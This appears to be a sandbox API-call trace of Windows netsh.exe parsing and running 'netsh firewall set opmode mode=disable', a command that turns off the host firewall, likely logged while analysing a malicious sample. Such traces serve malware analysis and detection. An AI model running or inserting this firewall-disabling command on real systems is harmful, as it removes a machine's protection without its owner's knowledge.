returned 0x0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270760) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270700) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362703e0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8) returned 0x2b4362741f0 [0136.253] wcscpy_s (in: _Destination=0x2b4362741f0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274400) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270720) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270520 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe) returned 0x2b436270700 [0136.253] wcscpy_s (in: _Destination=0x2b436270700, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270620) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270600) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270600 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xa) returned 0x2b436270720 [0136.253] wcscpy_s (in: _Destination=0x2b436270720, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270660) returned 1 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270640) returned 1 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270620 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4) returned 0x2b4362740c0 [0136.254] wcscpy_s (in: _Destination=0x2b4362740c0, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274410) returned 1 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362706a0) returned 1 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362706a0 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436270640 [0136.254] wcscpy_s (in: _Destination=0x2b436270640, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362706e0) returned 1 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362706c0) returned 1 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x38) returned 0x2b43627dd50 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc) returned 0x2b436270660 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b4362706c0 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8) returned 0x2b436274120 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe) returned 0x2b4362706e0 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xa) returned 0x2b436270760 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436270760, Size=0xc) returned 0x2b436231240 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436231240, Size=0x1a) returned 0x2b4362756f0 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc) returned 0x2b436231240 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.254] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436231240, Size=0xe) returned 0x2b436270760 [0136.254] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436270760, Size=0x1e) returned 0x2b436275cc0 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436275cc0, Size=0x20) returned 0x2b436275cf0 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436275cf0, Size=0x26) returned 0x2b436275cc0 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436275cc0, Size=0x28) returned 0x2b436275e10 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b436275e10, Size=0x34) returned 0x2b43627e850 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b43627e850, Size=0x36) returned 0x2b43627e5d0 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlReAllocateHeap (Heap=0x2b436220000, Flags=0x0, Ptr=0x2b43627e5d0, Size=0x4e) returned 0x2b43626a620 [0136.255] GetProcessHeap () returned 0x2b436220000 [0136.255] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626a620) returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="namespace") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="branchcache") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="advfirewall") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="firewall") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="interface") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="dhcp") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="dnsclient") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="routing") returned -1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="ip") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="ipv6") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="aaaa") returned 1 [0136.255] lstrcmpiW (lpString1="netsh", lpString2="ras") returned -1 [0136.256] _wcsnicmp (_String1="firewall", _String2="dump", _MaxCount=0x8) returned 2 [0136.256] _wcsnicmp (_String1="firewall", _String2="help", _MaxCount=0x8) returned -2 [0136.256] _wcsnicmp (_String1="firewall", _String2="?", _MaxCount=0x8) returned 39 [0136.256] _wcsnicmp (_String1="firewall", _String2="exec", _MaxCount=0x8) returned 1 [0136.256] _wcsnicmp (_String1="firewall", _String2="advfirew", _MaxCount=0x8) returned 5 [0136.256] _wcsnicmp (_String1="firewall", _String2="branchca", _MaxCount=0x8) returned 4 [0136.256] _wcsnicmp (_String1="firewall", _String2="bridge", _MaxCount=0x8) returned 4 [0136.256] _wcsnicmp (_String1="firewall", _String2="dhcpclie", _MaxCount=0x8) returned 2 [0136.256] _wcsnicmp (_String1="firewall", _String2="dnsclien", _MaxCount=0x8) returned 2 [0136.256] _wcsnicmp (_String1="firewall", _String2="firewall", _MaxCount=0x8) returned 0 [0136.256] lstrcmpiW (lpString1="firewall", lpString2="namespace") returned -1 [0136.256] lstrcmpiW (lpString1="firewall", lpString2="branchcache") returned 1 [0136.256] lstrcmpiW (lpString1="firewall", lpString2="advfirewall") returned 1 [0136.256] lstrcmpiW (lpString1="firewall", lpString2="firewall") returned 0 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270760 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436231240 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4e) returned 0x2b43626a980 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287cc0 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc) returned 0x2b436287fe0 [0136.256] wcscpy_s (in: _Destination=0x2b436287fe0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287d00 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436288020 [0136.256] wcscpy_s (in: _Destination=0x2b436288020, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287a60 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8) returned 0x2b4362741c0 [0136.256] wcscpy_s (in: _Destination=0x2b4362741c0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287b80 [0136.256] GetProcessHeap () returned 0x2b436220000 [0136.256] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe) returned 0x2b436287ce0 [0136.256] wcscpy_s (in: _Destination=0x2b436287ce0, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287f20 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xa) returned 0x2b436287aa0 [0136.257] wcscpy_s (in: _Destination=0x2b436287aa0, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287fc0 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4) returned 0x2b436274240 [0136.257] wcscpy_s (in: _Destination=0x2b436274240, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436287c00 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436287da0 [0136.257] wcscpy_s (in: _Destination=0x2b436287da0, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626a980) returned 1 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436231240) returned 1 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436288020) returned 1 [0136.257] GetProcessHeap () returned 0x2b436220000 [0136.257] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436288080 [0136.257] lstrcmpiW (lpString1="firewall", lpString2="routing") returned -1 [0136.257] lstrcmpiW (lpString1="firewall", lpString2="ip") returned -1 [0136.257] lstrcmpiW (lpString1="firewall", lpString2="ipv6") returned -1 [0136.257] lstrcmpiW (lpString1="firewall", lpString2="aaaa") returned 1 [0136.257] lstrcmpiW (lpString1="firewall", lpString2="ras") returned -1 [0136.257] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15 [0136.257] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11 [0136.257] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52 [0136.257] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1 [0136.257] _wcsnicmp (_String1="set", _String2="add", _MaxCount=0x3) returned 18 [0136.257] _wcsnicmp (_String1="set", _String2="del", _MaxCount=0x3) returned 15 [0136.257] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0 [0136.257] _wcsnicmp (_String1="opmode", _String2="help", _MaxCount=0x6) returned 7 [0136.257] _wcsnicmp (_String1="opmode", _String2="?", _MaxCount=0x6) returned 48 [0136.257] wcstok (in: _String="allowedprogram", _Delimiter=" ", _Context=0x7f0790e03238 | out: _String="allowedprogram", _Context=0x7f0790e03238) returned="allowedprogram" [0136.257] _wcsnicmp (_String1="opmode", _String2="allowe", _MaxCount=0x6) returned 14 [0136.257] wcstok (in: _String="icmpsetting", _Delimiter=" ", _Context=0x7f0790e03270 | out: _String="icmpsetting", _Context=0x7f0790e03270) returned="icmpsetting" [0136.258] _wcsnicmp (_String1="opmode", _String2="icmpse", _MaxCount=0x6) returned 6 [0136.258] wcstok (in: _String="logging", _Delimiter=" ", _Context=0x7f0790e03288 | out: _String="logging", _Context=0x7f0790e03288) returned="logging" [0136.258] _wcsnicmp (_String1="opmode", _String2="loggin", _MaxCount=0x6) returned 3 [0136.258] wcstok (in: _String="multicastbroadcastresponse", _Delimiter=" ", _Context=0x7f0790e03298 | out: _String="multicastbroadcastresponse", _Context=0x7f0790e03298) returned="multicastbroadcastresponse" [0136.258] _wcsnicmp (_String1="opmode", _String2="multic", _MaxCount=0x6) returned 2 [0136.258] wcstok (in: _String="notifications", _Delimiter=" ", _Context=0x7f0790e032d0 | out: _String="notifications", _Context=0x7f0790e032d0) returned="notifications" [0136.258] _wcsnicmp (_String1="opmode", _String2="notifi", _MaxCount=0x6) returned 1 [0136.258] wcstok (in: _String="opmode", _Delimiter=" ", _Context=0x7f0790e032f0 | out: _String="opmode", _Context=0x7f0790e032f0) returned="opmode" [0136.258] _wcsnicmp (_String1="opmode", _String2="opmode", _MaxCount=0x6) returned 0 [0136.258] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65 | out: _String=0x0, _Context=0x65) returned 0x0 [0136.258] _wcsnicmp (_String1="mode=disable", _String2="help", _MaxCount=0xc) returned 5 [0136.258] _wcsnicmp (_String1="mode=disable", _String2="?", _MaxCount=0xc) returned 46 [0136.258] lstrcmpiW (lpString1="firewall", lpString2="netsh") returned -1 [0136.258] LdrStandardizeSystemPath () returned 0x7ff6f9abbfc0 [0136.258] MatchTagsInCmdLine () returned 0x0 [0136.258] wcspbrk (_String="mode=disable", _Control="=") returned="=disable" [0136.258] GetProcessHeap () returned 0x2b436220000 [0136.258] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b436275e70 [0136.258] wcscpy_s (in: _Destination=0x2b436275e70, _SizeInWords=0xd, _Source="mode=disable" | out: _Destination="mode=disable") returned 0x0 [0136.258] wcstok (in: _String="mode=disable", _Delimiter="=", _Context=0x2b43627570a | out: _String="mode", _Context=0x2b43627570a) returned="mode" [0136.258] _wcsnicmp (_String1="mode", _String2="mode", _MaxCount=0x4) returned 0 [0136.258] wcscpy_s (in: _Destination=0x2b4362756f0, _SizeInWords=0xd, _Source="disable" | out: _Destination="disable") returned 0x0 [0136.258] GetProcessHeap () returned 0x2b436220000 [0136.258] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275e70) returned 1 [0136.258] MatchEnumTag () returned 0x0 [0136.258] _wcsnicmp (_String1="disable", _String2="enable", _MaxCount=0x7) returned -1 [0136.258] _wcsnicmp (_String1="disable", _String2="disable", _MaxCount=0x7) returned 0 [0139.849] PrintError () returned 0x132 [0139.849] LoadStringW (in: hInstance=0x7ffcb5cf0000, uID=0x119a, lpBuffer=0xf524eef3e0, cchBufferMax=16384 | out: lpBuffer="\nIMPORTANT: Command executed successfully.\nHowever, \"netsh firewall\" is deprecated;\nuse \"netsh advfirewall firewall\" instead.\nFor more information on using \"netsh advfirewall firewall\" commands\ninstead of \"netsh firewall\", see KB article 947709\nat https://go.microsoft.com/fwlink/?linkid=121488 .\n\n") returned 0x12a [0139.850] FormatMessageW (in: dwFlags=0x500, lpSource=0xf524eef3e0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0xf524eef3c0, nSize=0x0, Arguments=0xf524eef3d0 | out: lpBuffer="\xb390\x3628\x2b4") returned 0x132 [0139.850] GetStdHandle (nStdHandle=0xfffffff5) returned 0x274 [0139.850] GetConsoleOutputCP () returned 0x1b5 [0139.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat https://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 307 [0139.858] GetProcessHeap () returned 0x2b436220000 [0139.858] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x133) returned 0x2b43628ae50 [0139.858] GetConsoleOutputCP () returned 0x1b5 [0139.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat https://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x2b43628ae50, cbMultiByte=307, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat https://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", lpUsedDefaultChar=0x0) returned 307 [0139.858] WriteFile (in: hFile=0x274, lpBuffer=0x2b43628ae50*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0xf524eef390, lpOverlapped=0x0 | out: lpBuffer=0x2b43628ae50*, lpNumberOfBytesWritten=0xf524eef390*=0x132, lpOverlapped=0x0) returned 1 [0139.859] GetProcessHeap () returned 0x2b436220000 [0139.859] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43628ae50) returned 1 [0139.859] LocalFree (hMem=0x2b43628b390) returned 0x0 [0139.859] LoadStringW (in: hInstance=0x0, uID=0x2, lpBuffer=0xf524eef4d0, cchBufferMax=16384 | out: lpBuffer="Ok.\n") returned 0x4 [0139.859] FormatMessageW (in: dwFlags=0x500, lpSource=0xf524eef4d0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0xf524eef4b0, nSize=0x0, Arguments=0xf524eef4c0 | out: lpBuffer="\x67b0\x3629\x2b4") returned 0x5 [0139.859] GetStdHandle (nStdHandle=0xfffffff5) returned 0x274 [0139.859] GetConsoleOutputCP () returned 0x1b5 [0139.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0139.859] GetProcessHeap () returned 0x2b436220000 [0139.859] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x6) returned 0x2b436274190 [0139.859] GetConsoleOutputCP () returned 0x1b5 [0139.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x2b436274190, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ok.\r\n", lpUsedDefaultChar=0x0) returned 6 [0139.859] WriteFile (in: hFile=0x274, lpBuffer=0x2b436274190*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xf524eef460, lpOverlapped=0x0 | out: lpBuffer=0x2b436274190*, lpNumberOfBytesWritten=0xf524eef460*=0x5, lpOverlapped=0x0) returned 1 [0139.859] GetProcessHeap () returned 0x2b436220000 [0139.859] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274190) returned 1 [0139.859] LocalFree (hMem=0x2b4362967b0) returned 0x0 [0139.859] FormatMessageW (in: dwFlags=0x500, lpSource=0x7ff6f9abb80c, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0xf524ef74e0, nSize=0x0, Arguments=0xf524ef74f0 | out: lpBuffer="笀㘨ʴ") returned 0x2 [0139.859] GetStdHandle (nStdHandle=0xfffffff5) returned 0x274 [0139.859] GetConsoleOutputCP () returned 0x1b5 [0139.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x3) returned 0x2b436274150 [0139.860] GetConsoleOutputCP () returned 0x1b5 [0139.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x2b436274150, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0139.860] WriteFile (in: hFile=0x274, lpBuffer=0x2b436274150*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf524ef7490, lpOverlapped=0x0 | out: lpBuffer=0x2b436274150*, lpNumberOfBytesWritten=0xf524ef7490*=0x2, lpOverlapped=0x0) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274150) returned 1 [0139.860] LocalFree (hMem=0x2b436287b00) returned 0x0 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270660) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362706c0) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274120) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362706e0) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362756f0) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43627dd50) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270780) returned 1 [0139.860] GetProcessHeap () returned 0x2b436220000 [0139.860] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362703c0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362741f0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362703e0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270700) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270520) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270720) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270600) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362740c0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270620) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270640) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362706a0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362703a0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362707c0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362704e0) returned 1 [0139.861] GetProcessHeap () returned 0x2b436220000 [0139.861] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270360) returned 1 [0140.082] GetProcessHeap () returned 0x2b436220000 [0140.082] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436276e10) returned 1 [0140.082] FreeLibrary (hLibModule=0x7ff6f9ab0000) returned 1 [0140.082] FreeLibrary (hLibModule=0x7ffcb76b0000) returned 1 [0140.083] FreeLibrary (hLibModule=0x7ffcb6ba0000) returned 1 